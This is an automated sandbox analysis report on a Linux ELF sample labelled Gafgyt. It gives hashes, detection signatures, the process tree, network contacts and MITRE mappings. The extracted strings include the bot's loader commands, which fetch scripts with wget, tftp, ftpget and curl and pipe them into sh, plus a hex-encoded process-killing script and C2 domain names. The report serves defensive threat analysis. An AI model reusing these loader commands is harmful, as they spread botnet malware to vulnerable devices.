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Linux Analysis Report
jklsh4.elf

Overview

General Information

Sample name:	jklsh4.elf
Analysis ID:	1634476
MD5:	e422f23c58693205126b154196d024d8
SHA1:	efa27cd80e15c1ccada5a5c0de53702097df30ea
SHA256:	b31d22cb1050faa0328fe4f05f03f450bbaccdc4a983d85f058cee4296890280
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1634476
Start date and time:	2025-03-11 00:16:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	jklsh4.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/108@26/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/jklsh4.elf
PID:	5517
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

jklsh4.elf (PID: 5517, Parent: 5437, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/jklsh4.elf

jklsh4.elf New Fork (PID: 5522, Parent: 5517)

jklsh4.elf New Fork (PID: 5524, Parent: 5522)

jklsh4.elf New Fork (PID: 5526, Parent: 5522)

jklsh4.elf New Fork (PID: 5527, Parent: 5522)

cleanup

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

Sends malformed DNS queries

Source: global traffic

DNS traffic detected: malformed DNS query: watchmepull.dyn. [malformed]

Source: global traffic

TCP traffic: 192.168.2.15:41938 -> 193.143.1.116:1440

Source: /tmp/jklsh4.elf (PID: 5517)

Socket: 127.0.0.1:39148

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 35.197.93.122
Source: unknown	TCP traffic detected without corresponding DNS query: 35.197.93.122
Source: unknown	TCP traffic detected without corresponding DNS query: 112.160.24.164
Source: unknown	TCP traffic detected without corresponding DNS query: 112.160.24.164
Source: unknown	TCP traffic detected without corresponding DNS query: 53.32.66.19
Source: unknown	TCP traffic detected without corresponding DNS query: 53.32.66.19
Source: unknown	TCP traffic detected without corresponding DNS query: 220.252.108.102
Source: unknown	TCP traffic detected without corresponding DNS query: 220.252.108.102
Source: unknown	TCP traffic detected without corresponding DNS query: 221.194.236.240
Source: unknown	TCP traffic detected without corresponding DNS query: 221.194.236.240
Source: unknown	TCP traffic detected without corresponding DNS query: 151.179.134.6
Source: unknown	TCP traffic detected without corresponding DNS query: 151.179.134.6
Source: unknown	TCP traffic detected without corresponding DNS query: 92.251.40.190
Source: unknown	TCP traffic detected without corresponding DNS query: 92.251.40.190
Source: unknown	TCP traffic detected without corresponding DNS query: 58.216.188.141
Source: unknown	TCP traffic detected without corresponding DNS query: 58.216.188.141
Source: unknown	TCP traffic detected without corresponding DNS query: 94.187.161.102
Source: unknown	TCP traffic detected without corresponding DNS query: 94.187.161.102
Source: unknown	TCP traffic detected without corresponding DNS query: 23.71.142.73
Source: unknown	TCP traffic detected without corresponding DNS query: 23.71.142.73
Source: unknown	TCP traffic detected without corresponding DNS query: 93.126.174.151
Source: unknown	TCP traffic detected without corresponding DNS query: 93.126.174.151
Source: unknown	TCP traffic detected without corresponding DNS query: 147.165.221.149
Source: unknown	TCP traffic detected without corresponding DNS query: 147.165.221.149
Source: unknown	TCP traffic detected without corresponding DNS query: 66.183.20.226
Source: unknown	TCP traffic detected without corresponding DNS query: 66.183.20.226
Source: unknown	TCP traffic detected without corresponding DNS query: 216.247.104.85
Source: unknown	TCP traffic detected without corresponding DNS query: 216.247.104.85
Source: unknown	TCP traffic detected without corresponding DNS query: 100.169.126.39
Source: unknown	TCP traffic detected without corresponding DNS query: 100.169.126.39
Source: unknown	TCP traffic detected without corresponding DNS query: 152.109.207.31
Source: unknown	TCP traffic detected without corresponding DNS query: 152.109.207.31
Source: unknown	TCP traffic detected without corresponding DNS query: 78.240.46.23
Source: unknown	TCP traffic detected without corresponding DNS query: 78.240.46.23
Source: unknown	TCP traffic detected without corresponding DNS query: 136.243.103.197
Source: unknown	TCP traffic detected without corresponding DNS query: 136.243.103.197
Source: unknown	TCP traffic detected without corresponding DNS query: 46.236.139.233
Source: unknown	TCP traffic detected without corresponding DNS query: 46.236.139.233
Source: unknown	TCP traffic detected without corresponding DNS query: 8.201.160.77
Source: unknown	TCP traffic detected without corresponding DNS query: 8.201.160.77
Source: unknown	TCP traffic detected without corresponding DNS query: 105.115.220.120
Source: unknown	TCP traffic detected without corresponding DNS query: 105.115.220.120
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.115.134
Source: unknown	TCP traffic detected without corresponding DNS query: 8.37.81.102
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.115.134
Source: unknown	TCP traffic detected without corresponding DNS query: 87.171.181.200
Source: unknown	TCP traffic detected without corresponding DNS query: 205.145.134.164
Source: unknown	TCP traffic detected without corresponding DNS query: 8.37.81.102
Source: unknown	TCP traffic detected without corresponding DNS query: 164.70.30.35
Source: unknown	TCP traffic detected without corresponding DNS query: 87.171.181.200

Source: global traffic	DNS traffic detected: DNS query: ohlookthereismyboats.geek
Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn. [malformed]

Source: jklsh4.elf	String found in binary or memory: http:///curl.sh
Source: jklsh4.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname day2
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper telnet
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal52.troj.linELF@0/108@26/0

Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5550/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5550/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5550/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5550/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5540/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5540/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5551/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5551/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5551/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5551/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5530/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5530/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5530/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5530/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5541/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5541/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5552/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5552/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5552/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5552/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5542/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5542/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5553/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5553/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5553/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5553/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5543/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5543/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5554/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5554/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5554/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5554/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5544/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5544/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5555/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5555/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5555/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5555/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5545/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5545/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5556/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5556/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5556/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5556/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5546/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5546/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5546/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5546/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5557/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5557/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5557/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5557/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5547/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5547/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5547/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5547/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5548/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5548/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5548/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5548/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5549/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5549/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5549/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5549/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5539/maps	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5526)	File opened: /proc/5539/cmdline	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/110/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/231/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/111/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/112/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/233/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/113/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/114/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/235/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/115/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/1333/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/116/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/1695/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/117/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/118/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/119/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/911/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/3874/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/914/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/10/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/917/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/11/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/12/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/13/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/14/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/15/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/16/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/17/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/18/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/19/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/1591/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/120/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/121/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/1/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/122/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/243/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/2/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/123/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/3/comm	Jump to behavior
Source: /tmp/jklsh4.elf (PID: 5517)	File opened: /proc/124/comm	Jump to behavior

Source: /tmp/jklsh4.elf (PID: 5517)

Queries kernel information via 'uname':

Jump to behavior

Source: jklsh4.elf, 5517.1.00007ffc7af20000.00007ffc7af41000.rw-.sdmp, jklsh4.elf, 5524.1.00007ffc7af20000.00007ffc7af41000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: jklsh4.elf, 5517.1.00005601dd975000.00005601dd9f9000.rw-.sdmp, jklsh4.elf, 5524.1.00005601dd975000.00005601dd9d8000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4
Source: jklsh4.elf, 5517.1.00007ffc7af20000.00007ffc7af41000.rw-.sdmp, jklsh4.elf, 5524.1.00007ffc7af20000.00007ffc7af41000.rw-.sdmp	Binary or memory string: {x86_64/usr/bin/qemu-sh4/tmp/jklsh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/jklsh4.elf
Source: jklsh4.elf, 5517.1.00005601dd975000.00005601dd9f9000.rw-.sdmp, jklsh4.elf, 5524.1.00005601dd975000.00005601dd9d8000.rw-.sdmp	Binary or memory string: V5!/etc/qemu-binfmt/sh4

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
jklsh4.elf	32%	Virustotal		Browse
jklsh4.elf	37%	ReversingLabs	Linux.Backdoor.Gafgyt

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ohlookthereismyboats.geek	159.89.101.70	true	false		high
watchmepull.dyn. [malformed]	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	jklsh4.elf	false		high
http:///curl.sh	jklsh4.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
97.245.98.5	unknown	United States	6167	CELLCO-PARTUS	false
97.68.36.5	unknown	United States	33363	BHN-33363US	false
124.58.155.180	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
105.82.64.231	unknown	Egypt	36992	ETISALAT-MISREG	false
145.55.136.82	unknown	United Kingdom	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
119.235.247.88	unknown	Korea Republic of	18033	CMBTGD-AS-KRCMBTAEGUBROADCASTINGKR	false
93.78.179.8	unknown	Ukraine	25229	VOLIA-ASUA	false
131.33.60.186	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
193.229.159.110	unknown	Finland	719	ELISA-ASHelsinkiFinlandEU	false
84.49.166.10	unknown	Norway	15659	NEXTGENTELNEXTGENTELAutonomousSystemNO	false
180.123.69.170	unknown	China	137702	CHINATELECOM-JIANGSU-NANJING-IDCNanjingJiangsuProvince	false
138.146.228.173	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
216.95.135.149	unknown	United States	701	UUNETUS	false
116.135.238.191	unknown	China	139007	UNICOM-NM-WULANCHABU-IDCUNICOMInnerMongoliaprovincenetwo	false
134.139.93.61	unknown	United States	2152	CSUNET-NWUS	false
141.14.78.12	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
94.12.86.51	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
121.249.190.239	unknown	China	24363	CNGI-JNN-IX-AS-APCERNET2IXatShandongUniversityCN	false
51.175.163.179	unknown	Norway	29695	ALTIBOX_ASNorwayNO	false
88.5.115.189	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
102.63.226.87	unknown	Egypt	36992	ETISALAT-MISREG	false
135.184.96.163	unknown	United States	14962	NCR-252US	false
145.157.29.217	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
27.41.166.47	unknown	China	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
34.205.107.129	unknown	United States	14618	AMAZON-AESUS	false
210.41.220.56	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
12.186.156.193	unknown	United States	23542	CWI-FNG-ASNUS	false
80.144.74.150	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
89.60.241.118	unknown	Germany	5430	FREENETDEfreenetDatenkommunikationsGmbHDE	false
143.143.2.153	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
109.247.109.39	unknown	Norway	29695	ALTIBOX_ASNorwayNO	false
112.84.13.118	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
59.207.10.233	unknown	China	2516	KDDIKDDICORPORATIONJP	false
145.254.140.1	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
166.142.7.11	unknown	United States	22394	CELLCOUS	false
147.127.244.115	unknown	France	1715	FR-REMIP2000REMIP2000AutonomousSystemEU	false
153.143.137.127	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
181.83.5.74	unknown	Argentina	7303	TelecomArgentinaSAAR	false
181.143.89.2	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
32.165.9.73	unknown	United States	2686	ATGS-MMD-ASUS	false
85.39.202.177	unknown	Italy	3269	ASN-IBSNAZIT	false
59.22.48.149	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
22.65.165.66	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
21.38.91.182	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
38.254.149.131	unknown	United States	174	COGENT-174US	false
24.251.24.233	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
155.44.71.124	unknown	United States	24324	KORDIA-TRANSIT-AS-APKordiaLimitedNZ	false
8.226.139.204	unknown	United States	396238	FAIRLAWNGIG-NETUS	false
142.194.147.71	unknown	Canada	13576	SDNW-13576US	false
182.64.183.254	unknown	India	24560	AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices	false
45.16.49.48	unknown	United States	7018	ATT-INTERNET4US	false
203.147.211.129	unknown	Australia	7496	WEBCENTRAL-ASWebCentralAU	false
77.34.45.80	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
15.232.44.150	unknown	United States	71	HP-INTERNET-ASUS	false
103.56.57.71	unknown	China	17676	GIGAINFRASoftbankBBCorpJP	false
218.221.92.147	unknown	Japan	2527	SO-NETSo-netEntertainmentCorporationJP	false
56.63.172.19	unknown	United States	2686	ATGS-MMD-ASUS	false
209.168.91.190	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
210.218.4.155	unknown	Korea Republic of	9531	GEDU-AS-KRGwangjuEducationResearchInformationServiceK	false
158.166.155.100	unknown	Luxembourg	42848	EC-ASLU	false
157.236.208.89	unknown	United Kingdom	4704	SANNETRakutenMobileIncJP	false
186.79.145.19	unknown	Chile	7418	TELEFONICACHILESACL	false
161.29.232.215	unknown	New Zealand	9790	VOCUSGROUPNZVocusGroupNZ	false
129.229.128.93	unknown	United States	668	DNIC-AS-00668US	false
24.218.39.101	unknown	United States	7922	COMCAST-7922US	false
23.186.250.17	unknown	Reserved	53810	HENICOCA	false
143.116.141.218	unknown	United States	10599	MCKESSONUS	false
175.205.112.216	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
220.52.101.195	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
193.231.239.126	unknown	Romania	8708	RCS-RDS73-75DrStaicoviciRO	false
23.148.174.106	unknown	Reserved	395938	GDBL-ASNCA	false
186.139.112.173	unknown	Argentina	10318	TelecomArgentinaSAAR	false
129.225.150.246	unknown	United States	6071	UNISYS-AS-EUS	false
173.20.195.9	unknown	United States	30036	MEDIACOM-ENTERPRISE-BUSINESSUS	false
124.143.250.63	unknown	Japan	9824	JTCL-JP-ASJupiterTelecommunicationCoLtdJP	false
140.148.11.23	unknown	Mexico	1840	UniversidaddeLasAmericas-PueblaMX	false
37.102.96.162	unknown	Italy	9158	TELENOR_DANMARK_ASDK	false
61.155.76.246	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
68.127.205.154	unknown	United States	7018	ATT-INTERNET4US	false
78.232.217.43	unknown	France	12322	PROXADFR	false
37.160.5.174	unknown	France	51207	FREEMFR	false
